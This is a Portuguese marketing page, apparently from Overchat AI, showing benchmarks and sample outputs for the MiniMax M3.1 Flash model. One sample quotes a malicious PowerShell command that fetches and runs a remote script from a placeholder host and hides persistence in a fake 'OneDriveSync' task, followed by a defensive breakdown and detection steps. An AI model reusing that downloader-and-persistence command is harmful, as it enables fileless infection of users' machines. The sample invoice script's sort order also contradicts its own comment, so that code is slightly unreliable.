Sobre o MiniMax M3.1 Flash
O MiniMax M3.1 Flash é o modelo aberto da MiniMax para agentes, código, uso do computador e cibersegurança. Ele tem cerca de 428 bilhões de parâmetros, 23 bilhões deles ativos em cada token, lê texto, imagens e vídeo e guarda até 1 milhão de tokens em uma conversa
O MiniMax M3.1 Flash marca 62,8% no AutomationBench, à frente do DeepSeek V4.1 Flash, com 60,5%, e do Claude Opus 5, com 50,3%, empata com o Opus 5 no BankerToolBench, com 76,2, e tem a maior pontuação no LOCA-Bench, um teste de agentes em contextos muito longos. Ele executa tarefas de agente cerca de três vezes mais rápido que o MiniMax M3
Na Overchat AI, o MiniMax M3.1 Flash responde no mesmo chat que o Claude, o GPT-6 e o DeepSeek: anexe um print ou um arquivo e escolha outro modelo quando quiser uma segunda opinião
- Modalidades
- Intelligence Index?
- 29
- Janela de contexto?
- 1M de tokens
- Lançamento
- 19/10/2026
MiniMax M3.1 Flash vs outros modelos
O MiniMax M3.1 Flash está em 23º lugar no Artificial Analysis Intelligence Index entre 54 modelos
- 59
Claude Opus 5.5
- 46
Kimi K3.1 Pro
- 35
Grok 4.7
- 34
Qwen 3.8 Max
- 33
DeepSeek V4.1 Flash
- 32
GLM 5.3
- 31
Gemini 3.8 Flash
- 29
MiniMax M3.1 Flash
- 28
GPT-6 Luna
- 19
MiniMax M3
- #5de 100 modelosAutomationBenchFluxos de trabalho de empresas que um agente executa em vários apps
- #11de 191 modelosHumanity's Last ExamPerguntas de nível de especialista em muitas áreas
- #17de 187 modelosCritPtProblemas de física de nível de pesquisa
- #17de 77 modelosMMMU ProPerguntas de nível universitário sobre gráficos, diagramas e fotos
Fonte: Artificial Analysis
Compare o MiniMax M3.1 Flash
MiniMax M3.1 Flash vs DeepSeek V4.1 Flash
O MiniMax M3.1 Flash pontua mais que o DeepSeek V4.1 Flash em 1 de 5 benchmarks. A maior vantagem é no AutomationBench: 62.8% contra 60.5%. O DeepSeek V4.1 Flash está à frente no NL2Repo-Bench: 68.2% contra 61.2%. O MiniMax M3.1 Flash escreve 656 tokens por segundo, o DeepSeek V4.1 Flash escreve 422
- Benchmarks vencidos
- MiniMax M3.1 Flash: 1
- DeepSeek V4.1 Flash: 4
- Pontuação média
- MiniMax M3.1 Flash: 65.4%
- DeepSeek V4.1 Flash: 68.1%
- Velocidade de saída, tokens/s
- MiniMax M3.1 Flash: 656
- DeepSeek V4.1 Flash: 422
- Tempo até o primeiro token, s (escala logarítmica)
- MiniMax M3.1 Flash: 7.2
- DeepSeek V4.1 Flash: 2.2
- AutomationBench+2.3
- BabyVision−1.5
- DeepSWE v1.1−3.3
- Terminal-Bench 4.0−4.2
- NL2Repo-Bench−7.0
- SWE Refactor Bench—
- CyberGym—
- OSWorld 2.0—
- LOCA-Bench 256K—
MiniMax M3.1 Flash vs Kimi K3
O MiniMax M3.1 Flash pontua mais que o Kimi K3 em 9 de 9 benchmarks. A maior vantagem é no Terminal-Bench 4.0: 38.1% contra 12.6%. O MiniMax M3.1 Flash escreve 656 tokens por segundo, o Kimi K3 escreve 338
- Benchmarks vencidos
- MiniMax M3.1 Flash: 9
- Kimi K3: 0
- Pontuação média
- MiniMax M3.1 Flash: 61.6%
- Kimi K3: 53.1%
- Velocidade de saída, tokens/s
- MiniMax M3.1 Flash: 656
- Kimi K3: 338
- Tempo até o primeiro token, s (escala logarítmica)
- MiniMax M3.1 Flash: 7.2
- Kimi K3: 5.9
- Terminal-Bench 4.0+25.5
- AutomationBench+16.1
- LOCA-Bench 256K+10.6
- DeepSWE v1.1+6.2
- BabyVision+5.3
- SWE Refactor Bench+3.5
- OSWorld 2.0+3.4
- NL2Repo-Bench+3.2
- CyberGym+2.2
MiniMax M3.1 Flash vs GLM 5.3
O MiniMax M3.1 Flash pontua mais que o GLM 5.3 em 6 de 7 benchmarks. A maior vantagem é no AutomationBench: 62.8% contra 48.8%. O GLM 5.3 está à frente no CyberGym: 84.5% contra 82.2%. O MiniMax M3.1 Flash escreve 656 tokens por segundo, o GLM 5.3 escreve 197
- Benchmarks vencidos
- MiniMax M3.1 Flash: 6
- GLM 5.3: 1
- Pontuação média
- MiniMax M3.1 Flash: 57.3%
- GLM 5.3: 51.0%
- Velocidade de saída, tokens/s
- MiniMax M3.1 Flash: 656
- GLM 5.3: 197
- Tempo até o primeiro token, s (escala logarítmica)
- MiniMax M3.1 Flash: 7.2
- GLM 5.3: 1.2
- AutomationBench+14.0
- SWE Refactor Bench+12.6
- LOCA-Bench 256K+10.0
- DeepSWE v1.1+6.8
- NL2Repo-Bench+3.2
- Terminal-Bench 4.0+0.2
- CyberGym−2.3
- OSWorld 2.0—
- BabyVision—
MiniMax M3.1 Flash vs Claude Opus 5
O MiniMax M3.1 Flash pontua mais que o Claude Opus 5 em 2 de 8 benchmarks. A maior vantagem é no AutomationBench: 62.8% contra 50.3%. O Claude Opus 5 está à frente no NL2Repo-Bench: 75.3% contra 61.2%. O MiniMax M3.1 Flash escreve 656 tokens por segundo, o Claude Opus 5 escreve 54
- Benchmarks vencidos
- MiniMax M3.1 Flash: 2
- Claude Opus 5: 6
- Pontuação média
- MiniMax M3.1 Flash: 59.0%
- Claude Opus 5: 62.6%
- Velocidade de saída, tokens/s
- MiniMax M3.1 Flash: 656
- Claude Opus 5: 54
- Tempo até o primeiro token, s (escala logarítmica)
- MiniMax M3.1 Flash: 7.2
- Claude Opus 5: 2.6
- AutomationBench+12.5
- LOCA-Bench 256K+6.6
- DeepSWE v1.1−0.3
- BabyVision−3.1
- SWE Refactor Bench−8.0
- OSWorld 2.0−8.9
- Terminal-Bench 4.0−13.7
- NL2Repo-Bench−14.1
- CyberGym—
Melhor modelo por caso de uso
Pontuação média do MiniMax M3.1 Flash e de 4 outros modelos por caso de uso
Código
?Média de 3 testes- 1Claude Opus 567.0%
- 2DeepSeek V4.1 Flash62.5%
- 3MiniMax M3.1 Flash57.7%
- 4GLM 5.354.3%
- 5Kimi K346.0%
Agentes
?AutomationBench- 1MiniMax M3.1 Flash62.8%
- 2DeepSeek V4.1 Flash60.5%
- 3Claude Opus 550.3%
- 4GLM 5.348.8%
- 5Kimi K346.7%
Benchmarks do MiniMax M3.1 Flash
Compare o MiniMax M3.1 Flash com 4 outros modelos em 11 benchmarks que medem código e agentes
Código
- Terminal-Bench 4.0?MiniMax M3.1 Flash38.1%DeepSeek V4.1 Flash42.3%Kimi K312.6%GLM 5.337.9%Claude Opus 551.8%38.1%−13.7
- DeepSWE v1.1?MiniMax M3.1 Flash73.7%DeepSeek V4.1 Flash77.0%Kimi K367.5%GLM 5.366.9%Claude Opus 574.0%73.7%−3.3
- NL2Repo-Bench?MiniMax M3.1 Flash61.2%DeepSeek V4.1 Flash68.2%Kimi K358.0%GLM 5.358.0%Claude Opus 575.3%61.2%−14.1
- SWE Refactor Bench?MiniMax M3.1 Flash23.0%DeepSeek V4.1 Flash—Kimi K319.5%GLM 5.310.4%Claude Opus 531.0%23.0%−8.0
- CyberGym?MiniMax M3.1 Flash82.2%DeepSeek V4.1 Flash—Kimi K380.0%GLM 5.384.5%Claude Opus 5—82.2%−2.3
- PostTrain Bench v1.1?MiniMax M3.1 Flash39.3%DeepSeek V4.1 Flash—Kimi K336.6%GLM 5.337.5%Claude Opus 540.4%39.3%−1.1
Agentes
- AutomationBench?MiniMax M3.1 Flash62.8%DeepSeek V4.1 Flash60.5%Kimi K346.7%GLM 5.348.8%Claude Opus 550.3%62.8%+2.3
- BankerToolBench?MiniMax M3.1 Flash76.2%DeepSeek V4.1 Flash—Kimi K369.1%GLM 5.374.5%Claude Opus 576.2%76.2%+0.0
- OSWorld 2.0?MiniMax M3.1 Flash61.7%DeepSeek V4.1 Flash—Kimi K358.3%GLM 5.3—Claude Opus 570.6%61.7%−8.9
- LOCA-Bench 256K?MiniMax M3.1 Flash60.3%DeepSeek V4.1 Flash—Kimi K349.7%GLM 5.350.3%Claude Opus 553.7%60.3%+6.6
- BabyVision?MiniMax M3.1 Flash91.0%DeepSeek V4.1 Flash92.5%Kimi K385.7%GLM 5.3—Claude Opus 594.1%91.0%−3.1
Fontes: MiniMax, post de lançamento do MiniMax M3.1 Flash (19/10/2026), MiniMax, card do modelo MiniMax-M3.1-Flash
Velocidade do MiniMax M3.1 Flash
A velocidade de saída é a rapidez com que o modelo escreve (tokens por segundo, quanto maior, melhor). O tempo até o primeiro token é quanto você espera até a resposta começar (quanto menor, melhor)
Velocidade de saída e tempo até o primeiro token de 35 modelos
?Percentil| Modelos | Velocidade de saída, tokens/s (escala logarítmica) | Tempo até o primeiro token, s (escala logarítmica) |
|---|---|---|
| GPT-6 Luna | 143 | 2.4 |
| GPT-6.1 Terra | 75 | 4.3 |
| GPT-6.1 Sol | 58 | 2.9 |
| GPT-6 Astra | 48 | 3.2 |
| Claude Opus 5.5 | 88 | 1.9 |
| Claude Opus 5 | 54 | 2.6 |
| Claude Opus 4.8 | 59 | 1.3 |
| Claude Fable 5.2 | 84 | 2.3 |
| Claude Sonnet 5.5 | 102 | 1 |
| Claude 5 Sonnet | 215 | 10.5 |
| Claude Sonnet 4.6 | 220 | 10.8 |
| Claude Haiku 5.5 | 167 | 2.1 |
| Gemini 4 Carbon | 169 | 29.5 |
| Gemini 4 Argon | 91 | 6 |
| Gemini 3.8 Flash | 203 | 7.5 |
| Gemini 3 Pro | 270 | 11.2 |
| Grok 4.7 | 81 | 8.9 |
| Grok 4.6 | 290 | 32 |
| Qwen 3.8 Max | 81 | 30.6 |
| DeepSeek V4 Pro | 144 | 1.1 |
| DeepSeek V4.1 Flash | 422 | 2.2 |
| Mistral Large 4 | 226 | 8.6 |
| Hy4 | 214 | 37.7 |
| ERNIE 5.5 Flash | 405 | 2.7 |
| Muse Wonder | 980 | 8.7 |
| Muse Spark | 1129 | 6.2 |
| Kimi K3.1 Pro | 340 | 7.4 |
| Kimi K3 | 338 | 5.9 |
| GLM 5.3 | 197 | 1.2 |
| Flint | 194 | 12.3 |
| Llama 4 | 81 | 0.7 |
| Claude 4.5 Haiku | 162 | 0.9 |
| MiniMax M3 | 169 | 4.5 |
| MiniMax M3.1 Flash | 656 | 7.2 |
| Kimi K2.7 Code | 455 | 3.6 |
Teste de digitação
Todos os modelos escrevem a mesma resposta. O teste espera o tempo do modelo até o primeiro token, depois imprime o texto na velocidade de saída do modelo e mostra o tempo total
MiniMax M3.1 Flash656 tokens/s7.2 s até o primeiro token
DeepSeek V4.1 Flash422 tokens/s2.2 s até o primeiro token
Kimi K3338 tokens/s5.9 s até o primeiro token
GLM 5.3197 tokens/s1.2 s até o primeiro token
Fonte: Overchat AI, 2026-11-11
Veja como o MiniMax M3.1 Flash responde
Exemplos de respostas do MiniMax M3.1 Flash a 3 prompts: Analisar um comando suspeito, Prever a receita e Automatizar uma planilha. Cada resposta é a saída do modelo, sem edições
Minha colega abriu um anexo de e-mail e isto rodou no notebook Windows dela. Explique em português, passo a passo, o que o comando faz e como verificar se o notebook está infectado. Seja breve: powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://update-check.example/a.ps1'); schtasks /create /tn OneDriveSync /tr 'powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString(''http://update-check.example/a.ps1'')' /sc onlogon"
O que o comando faz, linha por linha
1. powershell -nop -w hidden -c "..."
-nop= não carrega o perfil do PowerShell (sem scripts de inicialização, sem histórico).-w hidden= janela invisível na barra de tarefas (evasão visual).-c= executa o texto seguinte como comando.
2. IEX (New-Object Net.WebClient).DownloadString('http://update-check.example/a.ps1')
- Baixa o conteúdo do script
a.ps1via HTTP e o executa na memória (IEX=Invoke-Expression). - Não grava arquivo em disco (técnica fileless), por isso não aparece em "Programas" nem como .ps1 no disco.
3. schtasks /create /tn OneDriveSync /tr 'powershell -w hidden -c IEX(...)' /sc onlogon
- Cria uma tarefa agendada chamada
OneDriveSync(nome falso, imita o OneDrive da Microsoft). -sc onlogon= roda a cada logon do usuário → persistência.- A tarefa repete exatamente o mesmo download/execução, então o malware volta sozinho após reiniciar.
- As aspas duplas dentro do
/trsão o escape para o cmd não quebrar o argumento.
Resumo: downloader + execução sem arquivo + persistência com nome enganoso. É assinatura clássica de malware (loader/stealer/RAT).
⚠️ Nota:
exampleé domínio reservado (RFC 2606) e não resolve na internet real. Ou é um exercício/lab de treinamento, ou a URL foi editada. Verifique mesmo assim o histórico de DNS: se houver registro para um domínio parecido, a URL original era outra.
Como verificar se o notebook está infectado
1. Procurar a tarefa agendada (prioridade máxima)
schtasks /query /tn OneDriveSync /v /fo list
Get-ScheduledTask | Where-Object {$_.TaskName -match 'OneDrive|Sync|Update'}No GUI: Task Scheduler → Task Scheduler Library. Verifique também tarefas em pastas incomuns e com "Run only when user is logged on".
2. Verificar DNS/cache de rede (o que foi acessado)
ipconfig /displaydns | Select-String 'update-check'
Get-NetTCPConnection -State Established | Select-Object RemoteAddress,RemotePort,OwningProcessProcure no histórico do navegador também.
3. Processos suspeitos
Get-CimInstance Win32_Process | Where-Object {$_.CommandLine -match 'DownloadString|IEX|FromBase64String'}
Get-Process powershell, pwsh -ErrorAction SilentlyContinuePowerShell rodando sem janela (na lista de tarefas, se a coluna "Janela" estiver vazia) é suspeito.
4. Logs do Windows
- Event Viewer → Applications and Services Logs → Microsoft → Windows → PowerShell → Operational: eventos 4104 (bloco de script, mostra o código baixado) e 4103.
- Security → 4688 (criação de processo) e 4698/4702 (tarefa agendada criada).
- Microsoft-Windows-TaskScheduler/Operational (eventos 106, 140, 141) → quem criou a tarefa e quando.
5. Persistência e Defender
Get-CimInstance Win32_StartupCommand
Get-MpComputerStatus | Select-Object AntivirusEnabled,RealTimeProtectionEnabled
Get-MpThreatDetectionRode um scan completo (Defender Offline, se possível) e, se tiver, use Autoruns (Sysinternals) para achar persistências que o Windows não mostra.
6. Se realmente for um host pessoal, a abordagem mais segura: para de usar a máquina para logins bancários, faça backup dos documentos e reinstale o sistema — depois de execução fileless com privilégio do usuário, não dá para garantir a limpeza.
Se confirmar a infecção
# 1. Desconecte da rede (cabo/Wi-Fi) imediatamente
# 2. Remova a persistência
schtasks /delete /tn OneDriveSync /f
Unregister-ScheduledTask -TaskName 'OneDriveSync' -Confirm:$false
# 3. Remova a chave de inicialização (Run)
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveSync /f
# 4. Scan
Start-MpScan -ScanType CustomScan -ScanPath C:\
# 5. Troque senhas (e-mail, banco) a partir de OUTRO dispositivo limpoNão execute o a.ps1 "para ver o que faz" — isso executa o payload de novo. Se precisar do script para análise, faça em sandbox/VM isolada ou envie para o time de segurança.
Quer que eu monte um script único de coleta forense (tarefas, logs 4104, DNS, processos) para ela rodar antes de mexer em qualquer coisa?
Monte uma previsão simples de receita de 3 anos para uma startup SaaS: 200 clientes hoje, R$ 49 por mês cada, 6% de clientes novos por mês e churn mensal de 3%. Mostre em uma tabela os clientes e a receita no fim de cada ano e a fórmula que você usou. Responda em português.
Previsão de Receita — 3 anos (SaaS)
1. Premissas do modelo
| Premissa | Valor |
|---|---|
| Base de clientes atual (M0) | 200 clientes |
| Ticket mensal (ARPU) | R$ 49,00 |
| Aquisição (clientes novos) | 6% ao mês da base |
| Churn mensal | 3% ao mês |
| Horizonte | 36 meses (3 anos) |
2. Fórmulas utilizadas
a) Fator de crescimento líquido mensal
k = (1 + g) × (1 − c) = 1,06 × (1 − 0,03) = 1,0282 → +2,82% a.m.
(Assume-se que os clientes novos do mês já entram na base sujeita ao churn do mês seguinte.)
b) Clientes em qualquer mês t
N(t) = N₀ × k^t = 200 × 1,0282^t
c) Receita mensal recorrente (MRR) no fim do ano
MRR = N(12k) × 49
d) Receita recorrente anualizada (ARR / run-rate)
ARR = 12 × MRR
e) Receita efetivamente faturada no ano (soma dos 12 meses)
R(ano k) = 49 × 200 × 1,0282^(12k − 11) × (1,0282^12 − 1) / 0,0282
3. Tabela principal — resultado ao fim de cada ano
| Ano (mês) | Clientes no fim do ano | MRR (R$/mês) | ARR (R$/ano) | Receita faturada no ano (R$) |
|---|---|---|---|---|
| Base (M0) | 200 | 9.800 | 117.600 | — |
| Ano 1 (M12) | 279 | 13.682 | 164.187 | 141.550 |
| Ano 2 (M24) | 390 | 19.102 | 229.229 | 197.625 |
| Ano 3 (M36) | 544 | 26.670 | 320.038 | 275.913 |
| Acumulado 3 anos | — | — | — | R$ 615.088 |
Detalhe do Ano 1 (mensal):
| Mês | M0 | M1 | M3 | M6 | M9 | M12 |
|---|---|---|---|---|---|---|
| Clientes | 200 | 206 | 218 | 236 | 256 | 279 |
| MRR (R$) | 9.800 | 10.076 | 10.664 | 11.580 | 12.533 | 13.682 |
4. Leitura dos números
- A base cresce 2,72× em 3 anos (200 → 544 clientes), com um CAGR de clientes de 39,8% ao ano e de receita de 39,8% ao ano (mesmo ARPU).
- O MRR sai de R$ 9,8 mil → R$ 26,7 mil/mês; o ARR multiplica por 2,72× (R$ 117,6 mil → R$ 320,0 mil).
- O churn de 3% a.m. consome R$ 2.940/mês de receita no fim do período (17 clientes ≈ 3% de 544) — é o principal freio do crescimento.
- Ponto de equilíbrio indicativo: com CAC médio de R$ 300, o churn mensal de 3% gera LTV ≈ R$ 49 ÷ 0,03 = R$ 1.633 (LTV/CAC ≈ 5,4×) — SaaS muito saudável, mas exige atenção.
5. Análise de sensibilidade (fim do Ano 3)
| Cenário (churn mensal) | Fator mensal | Clientes M36 | MRR (R$) | ARR (R$) |
|---|---|---|---|---|
| Otimista — 2% | 1,0388 | 787 | 38.582 | 462.983 |
| Base — 3% | 1,0282 | 544 | 26.670 | 320.038 |
| Pessimista — 4% | 1,0176 | 375 | 18.365 | 220.380 |
Ampliar 1 ponto de churn tira R$ 100 mil de ARR no fim do ano 3. O churn é, de longe, a variável mais sensível do modelo.
6. Ressalvas e o que falta no modelo
- Constância artificial: o modelo assume 6% de aquisição e 3% de churn constantes por 36 meses. Na prática, a aquisição decai conforme o funil satura e o churn sobe com o tempo (ou cai, se houver engenharia de retenção).
- Sem expansão de receita: ticket fixo de R$ 49. Se houver upsell (ex.: R$ 79 no plano Pro), o ARR final passa de R$ 320 mil para ~R$ 515 mil — um ganho de 60% só por mix.
- Churn aplicado aos novos: aqui os clientes novos do mês já sofrem churn no mesmo mês. Se o churn for calculado só sobre a base do início do mês (k = 1,03), o M36 fica em 580 clientes / ARR R$ 341 mil (+6,5%).
- Faturamento ≠ caixa: a receita do ano ignora impostos, inadimplência, descontos e timing de cobrança.
- Não incluiu CAPEX/opex: para chegar ao lucro, subtraia custos de infraestrutura (COGS ~R$ 8/cliente/mês), Marketing e folha.
Recomendação: use esta projeção como o cenário-base e teste-a com pelo menos 3 cenários de churn (2% / 3% / 4%), apresentações com o payback do CAC, e um plano de retenção que tenha como meta reduzir o churn de 3% para 2% — o ganho de R$ 143 mil de ARR no ano 3 vale mais que qualquer otimização de marketing.
Escreva um Google Apps Script que me envie toda segunda-feira às 9h um e-mail com a lista das faturas da minha planilha com mais de 30 dias de atraso. Colunas: A número da fatura, B cliente, C valor, D vencimento, E paga (sim/não). Seja breve e explique em português.
Código (Google Apps Script)
const CONFIG = {
ID_PLANILHA: 'COLE_AQUI_O_ID_DA_PLANILHA',
NOME_ABA: 'Faturas',
EMAIL_DESTINO: 'seu.email@gmail.com',
DIAS_ATRASO_MINIMO: 30, // "mais de 30 dias"
ENVIAR_SEM_FATURAS: false // true = avisa mesmo se não houver atrasadas
};
/** Executado automaticamente toda segunda às 9h */
function enviarFaturasAtrasadas() {
const ss = SpreadsheetApp.openById(CONFIG.ID_PLANILHA);
const sheet = ss.getSheetByName(CONFIG.NOME_ABA);
const ultima = sheet.getLastRow();
if (ultima < 2) return;
const fuso = Session.getScriptTimeZone();
const hoje = new Date();
const hojeZero = new Date(hoje.getFullYear(), hoje.getMonth(), hoje.getDate());
const linhas = sheet.getRange(2, 1, ultima - 1, 5).getValues();
const atrasadas = [];
for (const l of linhas) {
if (!l[0] && !l[1] && !l[2]) continue; // linha vazia
if (ehPaga(l[4])) continue; // já quitada
const venc = paraData(l[3]);
if (!venc) continue;
const dias = Math.round((hojeZero - venc) / 86400000);
if (dias <= CONFIG.DIAS_ATRASO_MINIMO) continue;
atrasadas.push({
numero: l[0], cliente: l[1], valor: l[2],
vencimento: venc, dias: dias
});
}
if (!atrasadas.length && !CONFIG.ENVIAR_SEM_FATURAS) return;
atrasadas.sort((a, b) => a.dias - b.dias); // mais atrasada primeiro
const total = atrasadas.reduce((s, f) => s + (Number(f.valor) || 0), 0);
const dataExtenso = Utilities.formatDate(hoje, fuso, "dd/MM/yyyy");
let corpo = '';
for (const f of atrasadas) {
corpo += `<tr>
<td>${f.numero}</td>
<td>${f.cliente}</td>
<td align="right">${moeda(f.valor)}</td>
<td align="center">${Utilities.formatDate(f.vencimento, fuso, 'dd/MM/yyyy')}</td>
<td align="center"><b style="color:#c0392b">${f.dias} dias</b></td>
</tr>`;
}
const html = `
<div style="font-family:Arial,sans-serif;font-size:13px;color:#333">
<h3 style="margin:0 0 4px">Faturas em atraso</h3>
<p style="margin:0 0 12px">${dataExtenso} — ${atrasadas.length} fatura(s) com mais de
${CONFIG.DIAS_ATRASO_MINIMO} dias de atraso. Total em atraso: <b>${moeda(total)}</b></p>
<table border="1" cellpadding="7" cellspacing="0" style="border-collapse:collapse;width:100%">
<thead>
<tr style="background:#f2f2f2">
<th align="left">Nº</th><th align="left">Cliente</th><th align="right">Valor</th>
<th align="center">Vencimento</th><th align="center">Atraso</th>
</tr>
</thead>
<tbody>${corpo}</tbody>
</table>
</div>`;
MailApp.sendEmail({
to: CONFIG.EMAIL_DESTINO,
subject: `Faturas em atraso (${atrasadas.length}) — ${dataExtenso}`,
body: `Faturas com mais de ${CONFIG.DIAS_ATRASO_MINIMO} dias de atraso em ${dataExtenso}.\n\n` +
atrasadas.map(f => `${f.numero} | ${f.cliente} | ${moeda(f.valor)} | venc. ` +
`${Utilities.formatDate(f.vencimento, fuso, 'dd/MM/yyyy')} | ${f.dias} dias`).join('\n') +
`\n\nTotal: ${moeda(total)}`,
htmlBody: html
});
}
/** Cria o agendamento semanal — rode UMA vez (e autorize) */
function criarTriggerSemanal() {
ScriptApp.newTrigger('enviarFaturasAtrasadas')
.timeBased()
.onWeekDay(ScriptApp.WeekDay.MONDAY)
.atTime(9)
.create();
}
/* ---------- utilitários ---------- */
function ehPaga(v) {
const s = String(v ?? '').trim().toLowerCase();
return ['sim','s','yes','y','true','1','paga','pago','x','quitada'].includes(s);
}
function paraData(v) {
if (v instanceof Date) return new Date(v.getFullYear(), v.getMonth(), v.getDate());
if (typeof v === 'number' && v > 0) { // data serial do Sheets
const d = new Date(Date.UTC(1899, 11, 30) + v * 86400000);
return new Date(d.getUTCFullYear(), d.getUTCMonth(), d.getUTCDate());
}
if (typeof v === 'string') {
const m = v.match(/^(\d{1,2})[\/\-.](\d{1,2})[\/\-.](\d{2,4})$/);
if (m) {
let a = +m[3]; if (a < 100) a += 2000;
return new Date(a, +m[2] - 1, +m[1]);
}
const d = new Date(v);
if (!isNaN(d)) return new Date(d.getFullYear(), d.getMonth(), d.getDate());
}
return null;
}
function moeda(v) {
return Number(v || 0).toLocaleString('pt-BR', { style: 'currency', currency: 'BRL' });
}Como configurar (5 min)
- Planilha: a aba
Faturasdeve ter, na linha 1, os cabeçalhos e os dados a partir da linha 2 (A: nº fatura, B: cliente, C: valor, D: vencimento, E: paga). Formate a coluna D como Data. - Script: em
script.google.com→ Novo projeto → cole o código em Código.gs. - Preencha
ID_PLANILHA(aparece na URL:.../d/ID_.../edit),NOME_ABAeEMAIL_DESTINO. - Fuso horário: em Configurações do projeto, defina o fuso (ex.:
America/Sao_Paulo), pois o horário das 9h segue esse fuso. - Teste: clique em
enviarFaturasAtrasadas→ Executar → autorize o acesso à planilha e ao envio de e-mail (aparece um e-mail de permissão do Google). - Agendamento: rode a função
criarTriggerSemanaluma única vez. Pronto — toda segunda às 9h o e-mail é enviado.
Observações:
- "Não paga" ou célula E vazia conta como pendente; qualquer variação de "sim" (S, Sim, true, X…) é tratada como paga.
- A coluna D aceita data real ou texto
dd/mm/aaaa. - O e-mail sai em HTML (tabela formatada) com uma versão em texto puro; o total em atraso vem no assunto e no topo.
- Para mudar o dia/hora ou o destinatário, basta apagar o trigger em Execuções → Disparadores e rodar
criarTriggerSemanalde novo.
Mais prompts para testar com o MiniMax M3.1 Flash
Em que o MiniMax M3.1 Flash se destaca
Fluxos de trabalho de empresas
O MiniMax M3.1 Flash executa fluxos de trabalho em apps de vendas, finanças e RH, com 62,8% no AutomationBench, a maior pontuação entre os modelos com que é comparado, e 76,2 no BankerToolBench, o mesmo que o Claude Opus 5
Cibersegurança
O MiniMax M3.1 Flash audita código, corrige vulnerabilidades e desmonta malware, com 82,2% no CyberGym, um teste de encontrar e reproduzir falhas reais de segurança
Uso do computador
O MiniMax M3.1 Flash conclui tarefas longas em um computador, clicando em apps e ferramentas reais, com 61,7% no OSWorld 2.0
Código
O MiniMax M3.1 Flash resolve 73,7% das tarefas reais de software do DeepSWE v1.1, perto do Claude Opus 5, com 74,0%, e escreve código em sessões longas sem ficar mais lento
Como usar o MiniMax M3.1 Flash na Overchat AI
Use o chat do topo desta página ou o app da Overchat AI na web, no iOS ou no Android
- 01

Escolha o MiniMax M3.1 Flash
Ele já vem selecionado no chat desta página. No app da Overchat AI, abra a lista de modelos ao lado do campo de mensagem e selecione o MiniMax M3.1 Flash
- 02

Anexe seu código ou um arquivo
Adicione código, um documento, uma planilha ou um print e escreva o que você precisa: o resultado, o formato e o que deve continuar igual
- 03

Continue no mesmo chat
Faça outra pergunta, peça testes ou uma versão mais curta, ou troque de modelo sem perder a conversa
Por que usar o MiniMax M3.1 Flash na Overchat AI
Uma conta para chat, imagens e vídeo, em todos os dispositivos

Agente de IA Superchat
O Superchat Agent envia sua mensagem automaticamente para o modelo mais adequado à tarefa. Ele gera imagens e vídeos, usa as ferramentas de IA da Overchat AI e aprende com suas interações para melhorar com o tempo

Converse com imagens e arquivos
Envie PDFs, planilhas, código e prints e pergunte ao MiniMax M3.1 Flash sobre eles. Você também pode ditar a mensagem em vez de digitar

Vá além do texto
Gere imagens com Nano Banana e GPT Image e vídeos com Seedance e Kling na mesma conta, com os mesmos créditos do chat

Modelos MiniMax na Overchat AI
Compare 2 modelos MiniMax na Overchat AI por velocidade de saída, tempo até o primeiro token e preço de uma mensagem
Fonte: Overchat AI, 2026-11-11
Conheça outros modelos
Os modelos marcados como Em breve estão chegando à Overchat AI; os outros já estão disponíveis
Saiba mais sobre modelos de IA

Testamos o Gemini 4 Argon contra Claude Opus 5.5, GPT-6 Astra e Muse Wonder
Testamos o Gemini 4 Argon contra Claude Opus 5.5, GPT-6 Astra e Muse Wonder em três tarefas de programação. Veja benchmarks, velocidade e como usar

Muse Wonder vs Muse Spark: testamos o novo modelo da Meta
Comparamos o Muse Wonder e o Muse Spark 1.3 em lógica, escrita e programação. Veja benchmarks e qual modelo da Meta é melhor

10 melhores plataformas de IA tudo-em-um em 2026: por que uma assinatura de IA vale mais que várias
Compare as 10 melhores plataformas de IA tudo-em-um em 2026: preços, planos gratuitos e os modelos mais recentes, do Overchat AI ao Poe e ao Krater
